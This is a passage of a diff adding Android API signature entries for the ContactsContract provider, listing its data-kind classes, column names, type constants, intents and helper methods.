+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String JOB_DESCRIPTION = "data6";
+    field public static final String OFFICE_LOCATION = "data9";
+    field public static final String PHONETIC_NAME = "data8";
+    field public static final String PHONETIC_NAME_STYLE = "data10";
+    field public static final String SYMBOL = "data7";
+    field public static final String TITLE = "data4";
+    field public static final int TYPE_OTHER = 2; // 0x2
+    field public static final int TYPE_WORK = 1; // 0x1
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Phone implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/phone_v2";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/phone_v2";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri ENTERPRISE_CONTENT_FILTER_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String NORMALIZED_NUMBER = "data4";
+    field public static final String NUMBER = "data1";
+    field public static final String SEARCH_DISPLAY_NAME_KEY = "search_display_name";
+    field public static final String SEARCH_PHONE_NUMBER_KEY = "search_phone_number";
+    field public static final int TYPE_ASSISTANT = 19; // 0x13
+    field public static final int TYPE_CALLBACK = 8; // 0x8
+    field public static final int TYPE_CAR = 9; // 0x9
+    field public static final int TYPE_COMPANY_MAIN = 10; // 0xa
+    field public static final int TYPE_FAX_HOME = 5; // 0x5
+    field public static final int TYPE_FAX_WORK = 4; // 0x4
+    field public static final int TYPE_HOME = 1; // 0x1
+    field public static final int TYPE_ISDN = 11; // 0xb
+    field public static final int TYPE_MAIN = 12; // 0xc
+    field public static final int TYPE_MMS = 20; // 0x14
+    field public static final int TYPE_MOBILE = 2; // 0x2
+    field public static final int TYPE_OTHER = 7; // 0x7
+    field public static final int TYPE_OTHER_FAX = 13; // 0xd
+    field public static final int TYPE_PAGER = 6; // 0x6
+    field public static final int TYPE_RADIO = 14; // 0xe
+    field public static final int TYPE_TELEX = 15; // 0xf
+    field public static final int TYPE_TTY_TDD = 16; // 0x10
+    field public static final int TYPE_WORK = 3; // 0x3
+    field public static final int TYPE_WORK_MOBILE = 17; // 0x11
+    field public static final int TYPE_WORK_PAGER = 18; // 0x12
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Photo implements android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/photo";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String PHOTO = "data15";
+    field public static final String PHOTO_FILE_ID = "data14";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Relation implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/relation";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String NAME = "data1";
+    field public static final int TYPE_ASSISTANT = 1; // 0x1
+    field public static final int TYPE_BROTHER = 2; // 0x2
+    field public static final int TYPE_CHILD = 3; // 0x3
+    field public static final int TYPE_DOMESTIC_PARTNER = 4; // 0x4
+    field public static final int TYPE_FATHER = 5; // 0x5
+    field public static final int TYPE_FRIEND = 6; // 0x6
+    field public static final int TYPE_MANAGER = 7; // 0x7
+    field public static final int TYPE_MOTHER = 8; // 0x8
+    field public static final int TYPE_PARENT = 9; // 0x9
+    field public static final int TYPE_PARTNER = 10; // 0xa
+    field public static final int TYPE_REFERRED_BY = 11; // 0xb
+    field public static final int TYPE_RELATIVE = 12; // 0xc
+    field public static final int TYPE_SISTER = 13; // 0xd
+    field public static final int TYPE_SPOUSE = 14; // 0xe
+  }
+
+  public static final class ContactsContract.CommonDataKinds.SipAddress implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/sip_address";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String SIP_ADDRESS = "data1";
+    field public static final int TYPE_HOME = 1; // 0x1
+    field public static final int TYPE_OTHER = 3; // 0x3
+    field public static final int TYPE_WORK = 2; // 0x2
+  }
+
+  public static final class ContactsContract.CommonDataKinds.StructuredName implements android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/name";
+    field public static final String DISPLAY_NAME = "data1";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String FAMILY_NAME = "data3";
+    field public static final String FULL_NAME_STYLE = "data10";
+    field public static final String GIVEN_NAME = "data2";
+    field public static final String MIDDLE_NAME = "data5";
+    field public static final String PHONETIC_FAMILY_NAME = "data9";
+    field public static final String PHONETIC_GIVEN_NAME = "data7";
+    field public static final String PHONETIC_MIDDLE_NAME = "data8";
+    field public static final String PHONETIC_NAME_STYLE = "data11";
+    field public static final String PREFIX = "data4";
+    field public static final String SUFFIX = "data6";
+  }
+
+  public static final class ContactsContract.CommonDataKinds.StructuredPostal implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static CharSequence getTypeLabel(android.content.res.Resources, int, CharSequence);
+    method public static int getTypeLabelResource(int);
+    field public static final String CITY = "data7";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/postal-address_v2";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/postal-address_v2";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String COUNTRY = "data10";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String FORMATTED_ADDRESS = "data1";
+    field public static final String NEIGHBORHOOD = "data6";
+    field public static final String POBOX = "data5";
+    field public static final String POSTCODE = "data9";
+    field public static final String REGION = "data8";
+    field public static final String STREET = "data4";
+    field public static final int TYPE_HOME = 1; // 0x1
+    field public static final int TYPE_OTHER = 3; // 0x3
+    field public static final int TYPE_WORK = 2; // 0x2
+  }
+
+  public static final class ContactsContract.CommonDataKinds.Website implements android.provider.ContactsContract.CommonDataKinds.CommonColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/website";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final int TYPE_BLOG = 2; // 0x2
+    field public static final int TYPE_FTP = 6; // 0x6
+    field public static final int TYPE_HOME = 4; // 0x4
+    field public static final int TYPE_HOMEPAGE = 1; // 0x1
+    field public static final int TYPE_OTHER = 7; // 0x7
+    field public static final int TYPE_PROFILE = 3; // 0x3
+    field public static final int TYPE_WORK = 5; // 0x5
+    field public static final String URL = "data1";
+  }
+
+  protected static interface ContactsContract.ContactNameColumns {
+    field public static final String DISPLAY_NAME_ALTERNATIVE = "display_name_alt";
+    field public static final String DISPLAY_NAME_PRIMARY = "display_name";
+    field public static final String DISPLAY_NAME_SOURCE = "display_name_source";
+    field public static final String PHONETIC_NAME = "phonetic_name";
+    field public static final String PHONETIC_NAME_STYLE = "phonetic_name_style";
+    field public static final String SORT_KEY_ALTERNATIVE = "sort_key_alt";
+    field public static final String SORT_KEY_PRIMARY = "sort_key";
+  }
+
+  protected static interface ContactsContract.ContactOptionsColumns {
+    field public static final String CUSTOM_RINGTONE = "custom_ringtone";
+    field @Deprecated public static final String LAST_TIME_CONTACTED = "last_time_contacted";
+    field public static final String PINNED = "pinned";
+    field public static final String SEND_TO_VOICEMAIL = "send_to_voicemail";
+    field public static final String STARRED = "starred";
+    field @Deprecated public static final String TIMES_CONTACTED = "times_contacted";
+  }
+
+  protected static interface ContactsContract.ContactStatusColumns {
+    field public static final String CONTACT_CHAT_CAPABILITY = "contact_chat_capability";
+    field public static final String CONTACT_PRESENCE = "contact_presence";
+    field public static final String CONTACT_STATUS = "contact_status";
+    field public static final String CONTACT_STATUS_ICON = "contact_status_icon";
+    field public static final String CONTACT_STATUS_LABEL = "contact_status_label";
+    field public static final String CONTACT_STATUS_RES_PACKAGE = "contact_status_res_package";
+    field public static final String CONTACT_STATUS_TIMESTAMP = "contact_status_ts";
+  }
+
+  public static class ContactsContract.Contacts implements android.provider.BaseColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactStatusColumns android.provider.ContactsContract.ContactsColumns {
+    method public static android.net.Uri getLookupUri(android.content.ContentResolver, android.net.Uri);
+    method public static android.net.Uri getLookupUri(long, String);
+    method public static boolean isEnterpriseContactId(long);
+    method public static android.net.Uri lookupContact(android.content.ContentResolver, android.net.Uri);
+    method @Deprecated public static void markAsContacted(android.content.ContentResolver, long);
+    method public static java.io.InputStream openContactPhotoInputStream(android.content.ContentResolver, android.net.Uri, boolean);
+    method public static java.io.InputStream openContactPhotoInputStream(android.content.ContentResolver, android.net.Uri);
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field @Deprecated public static final android.net.Uri CONTENT_FREQUENT_URI;
+    field public static final android.net.Uri CONTENT_GROUP_URI;
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contact";
+    field public static final android.net.Uri CONTENT_LOOKUP_URI;
+    field public static final android.net.Uri CONTENT_MULTI_VCARD_URI;
+    field public static final android.net.Uri CONTENT_STREQUENT_FILTER_URI;
+    field public static final android.net.Uri CONTENT_STREQUENT_URI;
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contact";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String CONTENT_VCARD_TYPE = "text/x-vcard";
+    field public static final android.net.Uri CONTENT_VCARD_URI;
+    field public static final android.net.Uri ENTERPRISE_CONTENT_FILTER_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String QUERY_PARAMETER_VCARD_NO_PHOTO = "no_photo";
+  }
+
+  public static final class ContactsContract.Contacts.AggregationSuggestions implements android.provider.BaseColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactStatusColumns android.provider.ContactsContract.ContactsColumns {
+    field public static final String CONTENT_DIRECTORY = "suggestions";
+  }
+
+  public static final class ContactsContract.Contacts.AggregationSuggestions.Builder {
+    ctor public ContactsContract.Contacts.AggregationSuggestions.Builder();
+    method public android.provider.ContactsContract.Contacts.AggregationSuggestions.Builder addNameParameter(String);
+    method public android.net.Uri build();
+    method public android.provider.ContactsContract.Contacts.AggregationSuggestions.Builder setContactId(long);
+    method public android.provider.ContactsContract.Contacts.AggregationSuggestions.Builder setLimit(int);
+  }
+
+  public static final class ContactsContract.Contacts.Data implements android.provider.BaseColumns android.provider.ContactsContract.DataColumns {
+    field public static final String CONTENT_DIRECTORY = "data";
+  }
+
+  public static final class ContactsContract.Contacts.Entity implements android.provider.BaseColumns android.provider.ContactsContract.BaseSyncColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactStatusColumns android.provider.ContactsContract.ContactsColumns android.provider.ContactsContract.DataColumns android.provider.ContactsContract.DataUsageStatColumns android.provider.ContactsContract.RawContactsColumns android.provider.ContactsContract.StatusColumns android.provider.ContactsContract.SyncColumns {
+    field public static final String CONTENT_DIRECTORY = "entities";
+    field public static final String DATA_ID = "data_id";
+    field public static final String RAW_CONTACT_ID = "raw_contact_id";
+  }
+
+  public static final class ContactsContract.Contacts.Photo implements android.provider.BaseColumns android.provider.ContactsContract.DataColumnsWithJoins {
+    field public static final String CONTENT_DIRECTORY = "photo";
+    field public static final String DISPLAY_PHOTO = "display_photo";
+    field public static final String PHOTO = "data15";
+    field public static final String PHOTO_FILE_ID = "data14";
+  }
+
+  protected static interface ContactsContract.ContactsColumns {
+    field public static final String CONTACT_LAST_UPDATED_TIMESTAMP = "contact_last_updated_timestamp";
+    field public static final String DISPLAY_NAME = "display_name";
+    field public static final String HAS_PHONE_NUMBER = "has_phone_number";
+    field public static final String IN_DEFAULT_DIRECTORY = "in_default_directory";
+    field public static final String IN_VISIBLE_GROUP = "in_visible_group";
+    field public static final String IS_USER_PROFILE = "is_user_profile";
+    field public static final String LOOKUP_KEY = "lookup";
+    field public static final String NAME_RAW_CONTACT_ID = "name_raw_contact_id";
+    field public static final String PHOTO_FILE_ID = "photo_file_id";
+    field public static final String PHOTO_ID = "photo_id";
+    field public static final String PHOTO_THUMBNAIL_URI = "photo_thumb_uri";
+    field public static final String PHOTO_URI = "photo_uri";
+  }
+
+  public static final class ContactsContract.Data implements android.provider.ContactsContract.DataColumnsWithJoins {
+    method public static android.net.Uri getContactLookupUri(android.content.ContentResolver, android.net.Uri);
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/data";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX = "android.provider.extra.ADDRESS_BOOK_INDEX";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_COUNTS = "android.provider.extra.ADDRESS_BOOK_INDEX_COUNTS";
+    field public static final String EXTRA_ADDRESS_BOOK_INDEX_TITLES = "android.provider.extra.ADDRESS_BOOK_INDEX_TITLES";
+    field public static final String VISIBLE_CONTACTS_ONLY = "visible_contacts_only";
+  }
+
+  protected static interface ContactsContract.DataColumns {
+    field @Deprecated public static final String CARRIER_PRESENCE = "carrier_presence";
+    field @Deprecated public static final int CARRIER_PRESENCE_VT_CAPABLE = 1; // 0x1
+    field public static final String DATA1 = "data1";
+    field public static final String DATA10 = "data10";
+    field public static final String DATA11 = "data11";
+    field public static final String DATA12 = "data12";
+    field public static final String DATA13 = "data13";
+    field public static final String DATA14 = "data14";
+    field public static final String DATA15 = "data15";
+    field public static final String DATA2 = "data2";
+    field public static final String DATA3 = "data3";
+    field public static final String DATA4 = "data4";
+    field public static final String DATA5 = "data5";
+    field public static final String DATA6 = "data6";
+    field public static final String DATA7 = "data7";
+    field public static final String DATA8 = "data8";
+    field public static final String DATA9 = "data9";
+    field public static final String DATA_VERSION = "data_version";
+    field public static final String IS_PRIMARY = "is_primary";
+    field public static final String IS_READ_ONLY = "is_read_only";
+    field public static final String IS_SUPER_PRIMARY = "is_super_primary";
+    field public static final String MIMETYPE = "mimetype";
+    field public static final String PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME = "preferred_phone_account_component_name";
+    field public static final String PREFERRED_PHONE_ACCOUNT_ID = "preferred_phone_account_id";
+    field public static final String RAW_CONTACT_ID = "raw_contact_id";
+    field public static final String RES_PACKAGE = "res_package";
+    field public static final String SYNC1 = "data_sync1";
+    field public static final String SYNC2 = "data_sync2";
+    field public static final String SYNC3 = "data_sync3";
+    field public static final String SYNC4 = "data_sync4";
+  }
+
+  protected static interface ContactsContract.DataColumnsWithJoins extends android.provider.BaseColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactStatusColumns android.provider.ContactsContract.ContactsColumns android.provider.ContactsContract.DataColumns android.provider.ContactsContract.DataUsageStatColumns android.provider.ContactsContract.RawContactsColumns android.provider.ContactsContract.StatusColumns {
+  }
+
+  @Deprecated public static final class ContactsContract.DataUsageFeedback {
+    ctor @Deprecated public ContactsContract.DataUsageFeedback();
+    field @Deprecated public static final android.net.Uri DELETE_USAGE_URI;
+    field @Deprecated public static final android.net.Uri FEEDBACK_URI;
+    field @Deprecated public static final String USAGE_TYPE = "type";
+    field @Deprecated public static final String USAGE_TYPE_CALL = "call";
+    field @Deprecated public static final String USAGE_TYPE_LONG_TEXT = "long_text";
+    field @Deprecated public static final String USAGE_TYPE_SHORT_TEXT = "short_text";
+  }
+
+  protected static interface ContactsContract.DataUsageStatColumns {
+    field @Deprecated public static final String LAST_TIME_USED = "last_time_used";
+    field @Deprecated public static final String TIMES_USED = "times_used";
+  }
+
+  public static final class ContactsContract.DeletedContacts implements android.provider.ContactsContract.DeletedContactsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final long DAYS_KEPT_MILLISECONDS = 2592000000L; // 0x9a7ec800L
+  }
+
+  protected static interface ContactsContract.DeletedContactsColumns {
+    field public static final String CONTACT_DELETED_TIMESTAMP = "contact_deleted_timestamp";
+    field public static final String CONTACT_ID = "contact_id";
+  }
+
+  public static final class ContactsContract.Directory implements android.provider.BaseColumns {
+    method public static boolean isEnterpriseDirectoryId(long);
+    method public static boolean isRemoteDirectoryId(long);
+    method public static void notifyDirectoryChange(android.content.ContentResolver);
+    field public static final String ACCOUNT_NAME = "accountName";
+    field public static final String ACCOUNT_TYPE = "accountType";
+    field public static final String CALLER_PACKAGE_PARAM_KEY = "callerPackage";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/contact_directory";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/contact_directories";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final long DEFAULT = 0L; // 0x0L
+    field public static final String DIRECTORY_AUTHORITY = "authority";
+    field public static final String DISPLAY_NAME = "displayName";
+    field public static final android.net.Uri ENTERPRISE_CONTENT_URI;
+    field public static final long ENTERPRISE_DEFAULT = 1000000000L; // 0x3b9aca00L
+    field public static final long ENTERPRISE_LOCAL_INVISIBLE = 1000000001L; // 0x3b9aca01L
+    field public static final String EXPORT_SUPPORT = "exportSupport";
+    field public static final int EXPORT_SUPPORT_ANY_ACCOUNT = 2; // 0x2
+    field public static final int EXPORT_SUPPORT_NONE = 0; // 0x0
+    field public static final int EXPORT_SUPPORT_SAME_ACCOUNT_ONLY = 1; // 0x1
+    field public static final long LOCAL_INVISIBLE = 1L; // 0x1L
+    field public static final String PACKAGE_NAME = "packageName";
+    field public static final String PHOTO_SUPPORT = "photoSupport";
+    field public static final int PHOTO_SUPPORT_FULL = 3; // 0x3
+    field public static final int PHOTO_SUPPORT_FULL_SIZE_ONLY = 2; // 0x2
+    field public static final int PHOTO_SUPPORT_NONE = 0; // 0x0
+    field public static final int PHOTO_SUPPORT_THUMBNAIL_ONLY = 1; // 0x1
+    field public static final String SHORTCUT_SUPPORT = "shortcutSupport";
+    field public static final int SHORTCUT_SUPPORT_DATA_ITEMS_ONLY = 1; // 0x1
+    field public static final int SHORTCUT_SUPPORT_FULL = 2; // 0x2
+    field public static final int SHORTCUT_SUPPORT_NONE = 0; // 0x0
+    field public static final String TYPE_RESOURCE_ID = "typeResourceId";
+  }
+
+  public static interface ContactsContract.DisplayNameSources {
+    field public static final int EMAIL = 10; // 0xa
+    field public static final int NICKNAME = 35; // 0x23
+    field public static final int ORGANIZATION = 30; // 0x1e
+    field public static final int PHONE = 20; // 0x14
+    field public static final int STRUCTURED_NAME = 40; // 0x28
+    field public static final int STRUCTURED_PHONETIC_NAME = 37; // 0x25
+    field public static final int UNDEFINED = 0; // 0x0
+  }
+
+  public static final class ContactsContract.DisplayPhoto {
+    field public static final android.net.Uri CONTENT_MAX_DIMENSIONS_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DISPLAY_MAX_DIM = "display_max_dim";
+    field public static final String THUMBNAIL_MAX_DIM = "thumbnail_max_dim";
+  }
+
+  public static interface ContactsContract.FullNameStyle {
+    field public static final int CHINESE = 3; // 0x3
+    field public static final int CJK = 2; // 0x2
+    field public static final int JAPANESE = 4; // 0x4
+    field public static final int KOREAN = 5; // 0x5
+    field public static final int UNDEFINED = 0; // 0x0
+    field public static final int WESTERN = 1; // 0x1
+  }
+
+  public static final class ContactsContract.Groups implements android.provider.BaseColumns android.provider.ContactsContract.GroupsColumns android.provider.ContactsContract.SyncColumns {
+    method public static android.content.EntityIterator newEntityIterator(android.database.Cursor);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/group";
+    field public static final android.net.Uri CONTENT_SUMMARY_URI;
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/group";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface ContactsContract.GroupsColumns {
+    field public static final String AUTO_ADD = "auto_add";
+    field public static final String DATA_SET = "data_set";
+    field public static final String DELETED = "deleted";
+    field public static final String FAVORITES = "favorites";
+    field public static final String GROUP_IS_READ_ONLY = "group_is_read_only";
+    field public static final String GROUP_VISIBLE = "group_visible";
+    field public static final String NOTES = "notes";
+    field public static final String RES_PACKAGE = "res_package";
+    field public static final String SHOULD_SYNC = "should_sync";
+    field public static final String SUMMARY_COUNT = "summ_count";
+    field public static final String SUMMARY_WITH_PHONES = "summ_phones";
+    field public static final String SYSTEM_ID = "system_id";
+    field public static final String TITLE = "title";
+    field public static final String TITLE_RES = "title_res";
+  }
+
+  public static final class ContactsContract.Intents {
+    ctor public ContactsContract.Intents();
+    field public static final String ACTION_VOICE_SEND_MESSAGE_TO_CONTACTS = "android.provider.action.VOICE_SEND_MESSAGE_TO_CONTACTS";
+    field public static final String ATTACH_IMAGE = "com.android.contacts.action.ATTACH_IMAGE";
+    field public static final String CONTACTS_DATABASE_CREATED = "android.provider.Contacts.DATABASE_CREATED";
+    field public static final String EXTRA_CREATE_DESCRIPTION = "com.android.contacts.action.CREATE_DESCRIPTION";
+    field public static final String EXTRA_FORCE_CREATE = "com.android.contacts.action.FORCE_CREATE";
+    field public static final String EXTRA_RECIPIENT_CONTACT_CHAT_ID = "android.provider.extra.RECIPIENT_CONTACT_CHAT_ID";
+    field public static final String EXTRA_RECIPIENT_CONTACT_NAME = "android.provider.extra.RECIPIENT_CONTACT_NAME";
+    field public static final String EXTRA_RECIPIENT_CONTACT_URI = "android.provider.extra.RECIPIENT_CONTACT_URI";
+    field public static final String INVITE_CONTACT = "com.android.contacts.action.INVITE_CONTACT";
+    field public static final String METADATA_ACCOUNT_TYPE = "android.provider.account_type";
+    field public static final String METADATA_MIMETYPE = "android.provider.mimetype";
+    field public static final String SEARCH_SUGGESTION_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_CLICKED";
+    field public static final String SEARCH_SUGGESTION_CREATE_CONTACT_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_CREATE_CONTACT_CLICKED";
+    field public static final String SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED = "android.provider.Contacts.SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED";
+    field public static final String SHOW_OR_CREATE_CONTACT = "com.android.contacts.action.SHOW_OR_CREATE_CONTACT";
+  }
+
+  public static final class ContactsContract.Intents.Insert {
+    ctor public ContactsContract.Intents.Insert();
+    field public static final String ACTION = "android.intent.action.INSERT";
+    field public static final String COMPANY = "company";
+    field public static final String DATA = "data";
+    field public static final String EMAIL = "email";
+    field public static final String EMAIL_ISPRIMARY = "email_isprimary";
+    field public static final String EMAIL_TYPE = "email_type";
+    field public static final String EXTRA_ACCOUNT = "android.provider.extra.ACCOUNT";
+    field public static final String EXTRA_DATA_SET = "android.provider.extra.DATA_SET";
+    field public static final String FULL_MODE = "full_mode";
+    field public static final String IM_HANDLE = "im_handle";
+    field public static final String IM_ISPRIMARY = "im_isprimary";
+    field public static final String IM_PROTOCOL = "im_protocol";
+    field public static final String JOB_TITLE = "job_title";
+    field public static final String NAME = "name";
+    field public static final String NOTES = "notes";
+    field public static final String PHONE = "phone";
+    field public static final String PHONETIC_NAME = "phonetic_name";
+    field public static final String PHONE_ISPRIMARY = "phone_isprimary";
+    field public static final String PHONE_TYPE = "phone_type";
+    field public static final String POSTAL = "postal";
+    field public static final String POSTAL_ISPRIMARY = "postal_isprimary";
+    field public static final String POSTAL_TYPE = "postal_type";
+    field public static final String SECONDARY_EMAIL = "secondary_email";
+    field public static final String SECONDARY_EMAIL_TYPE = "secondary_email_type";
+    field public static final String SECONDARY_PHONE = "secondary_phone";
+    field public static final String SECONDARY_PHONE_TYPE = "secondary_phone_type";
+    field public static final String TERTIARY_EMAIL = "tertiary_email";
+    field public static final String TERTIARY_EMAIL_TYPE = "tertiary_email_type";
+    field public static final String TERTIARY_PHONE = "tertiary_phone";
+    field public static final String TERTIARY_PHONE_TYPE = "tertiary_phone_type";
+  }
+
+  public static final class ContactsContract.PhoneLookup implements android.provider.BaseColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactsColumns android.provider.ContactsContract.PhoneLookupColumns {
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final android.net.Uri ENTERPRISE_CONTENT_FILTER_URI;
+    field public static final String QUERY_PARAMETER_SIP_ADDRESS = "sip";
+  }
+
+  protected static interface ContactsContract.PhoneLookupColumns {
+    field public static final String CONTACT_ID = "contact_id";
+    field public static final String DATA_ID = "data_id";
+    field public static final String LABEL = "label";
+    field public static final String NORMALIZED_NUMBER = "normalized_number";
+    field public static final String NUMBER = "number";
+    field public static final String TYPE = "type";
+  }
+
+  public static interface ContactsContract.PhoneticNameStyle {
+    field public static final int JAPANESE = 4; // 0x4
+    field public static final int KOREAN = 5; // 0x5
+    field public static final int PINYIN = 3; // 0x3
+    field public static final int UNDEFINED = 0; // 0x0
+  }
+
+  public static final class ContactsContract.PinnedPositions {
+    ctor public ContactsContract.PinnedPositions();
+    method public static void pin(android.content.ContentResolver, long, int);
+    method public static void undemote(android.content.ContentResolver, long);
+    field public static final int DEMOTED = -1; // 0xffffffff
+    field public static final int UNPINNED = 0; // 0x0
+  }
+
+  @Deprecated public static final class ContactsContract.Presence extends android.provider.ContactsContract.StatusUpdates {
+    ctor @Deprecated public ContactsContract.Presence();
+  }
+
+  protected static interface ContactsContract.PresenceColumns {
+    field public static final String CUSTOM_PROTOCOL = "custom_protocol";
+    field public static final String DATA_ID = "presence_data_id";
+    field public static final String IM_ACCOUNT = "im_account";
+    field public static final String IM_HANDLE = "im_handle";
+    field public static final String PROTOCOL = "protocol";
+  }
+
+  public static final class ContactsContract.Profile implements android.provider.BaseColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.ContactStatusColumns android.provider.ContactsContract.ContactsColumns {
+    field public static final android.net.Uri CONTENT_RAW_CONTACTS_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri CONTENT_VCARD_URI;
+    field public static final long MIN_ID = 9223372034707292160L; // 0x7fffffff80000000L
+  }
+
+  public static final class ContactsContract.ProfileSyncState implements android.provider.SyncStateContract.Columns {
+    method public static byte[] get(android.content.ContentProviderClient, android.accounts.Account) throws android.os.RemoteException;
+    method public static android.util.Pair<android.net.Uri,byte[]> getWithUri(android.content.ContentProviderClient, android.accounts.Account) throws android.os.RemoteException;
